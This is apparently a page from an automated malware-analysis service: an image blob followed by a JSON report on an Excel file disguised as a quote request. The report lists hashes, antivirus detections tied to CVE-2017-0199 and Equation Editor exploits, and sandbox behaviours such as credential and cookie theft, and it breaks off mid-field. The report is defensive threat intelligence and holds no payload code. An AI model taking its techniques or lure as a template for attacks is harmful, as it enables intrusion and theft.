YXcWoUoaZ3S3UCE5DNcakiiFyyYsk5hwjKBdxI8kf6jhFrhjw+lvvDau1yAj6gxYBxAn6EPIRJfrAl+XTTAUrsMMPi01QnpjT5MTDsxPuWEadKBkQkHsmvnGAg99zFS6uJEOOs5S+xx4g0kNJxCgOQ9bEzfAM+gPyAoK5Crd1iJ4JRN+GvgnyAjcOEP1N/bKuTfGkBefT9yqNeX63qRRTAzGRibdGKUDBjHHci8LsyBaGBHgi+SK48TXFgzBo8s244teZvx2uHf42TDN24mEopj0aPrQeC597EqYLE4+Xm3+oXy28DTT5EyahSU3kHpnRgxO2AgA2k1cwx8cXoj4spjxORLfZa4afGh3yKqMtzNRLeuCwHJXljxye9+OvkotdUm9J7BJyxOpFX1COknnDCSgeExB1Kr+t0NbI1dh5PFUXzHjWYDhmnHtWNaDJmGaNgG8U9Z7AumOrWd8E9cAw+/VzmY9ZqX/LqSp06r7sGlym78q6KL957BDQTXmRy4UKFyN+AX44XYgkg63WbgJoLPTPqAsZ/63QvFsIJS96BL20XwDrQPtcMv4W0y8+uZsjuptwpe+klKLgyeAxevdoql15ns0Izace7qoLsBn0OrEZMXzk83rUkjrlm/C65XUM+70UVl79B0cnjbUBt841ZgifcrvORMLPVsOEv+fVkHh+spvWbUAbXRjqSyOQa8D3giWhqKKDrbv6LjdV9mECLSA/ieh0h8aNo/4APHeu6fuBp+8W8T/C34xHngz5t+gYxqBe91KpVccq2Lp04p7yB4O86XtPO+ayn90IgDKoMd8SVqdwPsg8LEzvX14SuwLmwZ/r7bA1673sDftr+O1YGvwfPzP2Ll1sV86Dw+ehVLfX+Dv/zjV1jywS/F1JJrneK+j9K+G8xCcgFu5/D+YTtOyzXuBl52Zcpv80lmyqW9niIIF3tG9/RZ5WZ7zsBjM2B22JyVtyG5uBWhZyo5fJBKP0Bwpc6GE0Xa+Q1k0JeMrRHTSye8SphwBr7Ay93BYXzaqedJslb+LnumMrLkNvQSvIe+jEcL9AswILtF54KDDxM7zRhIkIMOKwfvtavUrNcu2PDMtH9X9Fx81q+3C3CtDV1DNnydb5jfQFpRPT+9GISlZncByA4VB0/N1osdredK2kRYIoETCp8hvuCp+Eyps/PknQRvH7QiKncBBi4V3uS9ZBDXhLOSz55wBmZDllT8U7nZmqkMNsRdaRGfsX9IXPDWASv2S0fmN5BacIP3komB2SrpZ/ZZN2bncK2J7bZ7uQdo0vuo5KfznojPOtRWtKkE+NN+K/ZeHp3fgORKHe8lWyGWWksgJgbUjAipWVo23fFUchesl8qt0NpxKrdZfNamsuA5wVv6rGjutWJPlmkBBvJr+fowpdCEny8VSp4sb6UJfy72mgEWoid9Fg5/rLQiNGNsfgMX82r5+rB+sgNERWs0QGIT3a+nlSKxnVZqhekW+mxFJ5W7nZWb9KzfgqeU+gmBm5QWPFJY0Nhtwa708fkNXMi9znvpUq9eOEQYUCFCreim4WJQ3mc2ZAw80+uWXguaSI8J/LBHgN/vsmBHmnlhBtj63HmkRNXdHshuKHC5WgFJ+QCS6WvmUmL5IOJL1fi2ZIg+6Vocl+lwtFBPuz5M62bkEx+RbUIY9T0kYxw7KH3wpQUYSMmpQWjMWWwKOsT/i13lvRPLNmzjL/63NJf5P7n+DThEGkIVtp9OAAAAAElFTkSuQmCC62:Tab8,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:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"e360a8e144f715974ef7b569b1c6ee8734abb773ef030d30e9eb2cbdb7ea7b04","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794301291758,"unified_at":"2026-11-10T09:01:31.758Z","metadata":{"hashes":{"sha256":"e360a8e144f715974ef7b569b1c6ee8734abb773ef030d30e9eb2cbdb7ea7b04","sha1":"03d619f19fe92230d16af274b47fd072ae2ae124","md5":"aa3dd35b9acd8ae6c06042e7f2eeca10","sha512":"1d3105f0d750f5c897b65968d74cfddb1cd034d4f81258e109548f04b98deb8aeace10852f77c2c5f9c8bf98ef6a2a04264c021d0c9677265e5234fcfe7b312d","ssdeep":"24576:pdiLHw8N+gtBa+td2qeOsW+gCW41WXNap2YVg:eLM/+tAasTlWkW9aYY","ssdeep_chunks":["24576:pdiLHw8","24576:diLHw8N","24576:iLHw8N+","24576:LHw8N+g","24576:Hw8N+gt","24576:w8N+gtB","24576:8N+gtBa","24576:N+gtBa+","24576:+gtBa+t","24576:gtBa+td","24576:tBa+td2","24576:Ba+td2q","24576:a+td2qe","24576:+td2qeO","24576:td2qeOs","24576:d2qeOsW","24576:2qeOsW+","24576:qeOsW+g","24576:eOsW+gC","24576:OsW+gCW","24576:sW+gCW4","24576:W+gCW41","24576:+gCW41W","24576:gCW41WX","24576:CW41WXN","24576:W41WXNa","24576:41WXNap","24576:1WXNap2","24576:WXNap2Y","24576:XNap2YV","24576:Nap2YVg","49152:pdiLHw8","49152:diLHw8N","49152:iLHw8N+","49152:LHw8N+g","49152:Hw8N+gt","49152:w8N+gtB","49152:8N+gtBa","49152:N+gtBa+","49152:+gtBa+t","49152:gtBa+td","49152:tBa+td2","49152:Ba+td2q","49152:a+td2qe","49152:+td2qeO","49152:td2qeOs","49152:d2qeOsW","49152:2qeOsW+","49152:qeOsW+g","49152:eOsW+gC","49152:OsW+gCW","49152:sW+gCW4","49152:W+gCW41","49152:+gCW41W","49152:gCW41WX","49152:CW41WXN","49152:W41WXNa","49152:41WXNap","49152:1WXNap2","49152:WXNap2Y","49152:XNap2YV","49152:Nap2YVg","24576:eLM/+tA","24576:LM/+tAa","24576:M/+tAas","24576:/+tAasT","24576:+tAasTl","24576:tAasTlW","24576:AasTlWk","24576:asTlWkW","24576:sTlWkW9","24576:TlWkW9a","24576:lWkW9aY","24576:WkW9aYY"],"imphash":"Unknown"},"file_info":{"file_name":"RFQ261102 FDY-75.xls","file_type":["xls","office"],"file_type_id":"xls","file_size":979456,"entropy":8,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1794296305000,"last_seen":1794301199000,"last_multi_scan":1794301199000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["evasive","CVE-2017-11882","exploit"]},"stats":{"av":{"malicious_count":7,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":79},"sandbox_signatures":{"informative_count":203,"suspicious_count":12,"malicious_count":5,"total":220},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent.emboleurl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Exploit.CVE-2017-0199.04.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Exploit.CVE-2017-0199.04.Gen (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"probably a variant of Win32/Exploit.CVE-2017-0199.C trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"Detected_VBA_Structure","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Downloader/W97.CVE-2017-0199","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"CVE-2017-0199.A.gen!Camelot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"CVE-2017-0199","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Calls an API typically used to create a HTTP or FTP session"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"suspicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Execution","technique":"Exploitation for Client Execution","attack_id":"T1203","attack_id_wiki":"https://attack.mitre.org/techniques/T1203","identifiers":[{"type":"malicious","value":"Possible Equation Editor exploit detected"},{"type":"suspicious","value":"Spawns the Microsoft Equation Editor"},{"type":"suspicious","value":"Attempts to exploit Equation Editor vulnerability"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Creates/edits LNK file (Windows shortcut)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies using SQL"},{"type":"informative","value":"Attempts to obtain browser cookies (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Creates file in AppData directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process 